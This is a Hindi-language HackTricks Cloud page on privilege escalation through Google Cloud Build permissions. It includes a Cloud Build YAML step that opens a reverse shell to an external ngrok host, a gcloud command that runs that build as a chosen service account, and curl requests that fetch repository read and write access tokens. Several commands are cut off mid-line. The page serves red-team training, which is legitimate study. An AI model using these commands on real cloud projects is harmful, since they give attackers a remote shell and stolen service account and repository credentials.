GCP - Cloudbuild Privesc
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
cloudbuild
Cloud Build के बारे में अधिक जानकारी के लिए देखें:
cloudbuild.builds.create, iam.serviceAccounts.actAs
इस अनुमति के साथ आप एक Cloud Build सबमिट कर सकते हैं। cloudbuild मशीन की फ़ाइल सिस्टम में डिफ़ॉल्ट रूप से cloudbuild Service Account का token होगा: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com। हालाँकि, आप cloudbuild configuration में प्रोजेक्ट के अंदर किसी भी service account को इंगित कर सकते हैं।
इसलिए, आप बस मशीन से token को अपने सर्वर पर exfiltrate करवा सकते हैं या उसके अंदर reverse shell लेकर खुद token प्राप्त कर सकते हैं (टोकन वाला फ़ाइल बदल सकती है)।
Direct exploitation via gcloud CLI
1- cloudbuild.yaml बनाएं और इसे अपने listener data के साथ संशोधित करें
Cloud Build YAML configuration for reverse shell
```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```2- स्रोत के बिना एक सरल build अपलोड करें, yaml फ़ाइल दें और build पर उपयोग करने के लिए SA निर्दिष्ट करें:
निर्दिष्ट service account के साथ Cloud Build सबमिट करें
```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/python gcloud library का उपयोग
You can find the original exploit script here on GitHub (but the location it’s taking the token from didn’t work for me). Therefore, check a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to get a reverse shell inside the cloudbuild machine and steal it here (code में आप देख सकते हैं कि अन्य service accounts कैसे निर्दिष्ट किए जाते हैं).
अधिक गहन व्याख्या के लिए, देखें https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.repositories.accessReadToken
इस permission के साथ user repository तक पहुँचने के लिए उपयोग किए जाने वाले read access token प्राप्त कर सकता है:
repository के लिए read access token प्राप्त करें
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.repositories.accessReadWriteToken
इस अनुमति के साथ उपयोगकर्ता रिपॉज़िटरी तक पहुँचने के लिए उपयोग किए जाने वाले read and write access token को प्राप्त कर सकता है:
रिपॉज़िटरी के लिए read and write access token प्राप्त करें
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.connections.fetchLinkableRepositories
इस अनुमति के साथ आप उन repos को प्राप्त कर सकते हैं जिन तक connection की पहुँच है:
लिंक करने योग्य repos प्राप्त करें
```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects/Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud

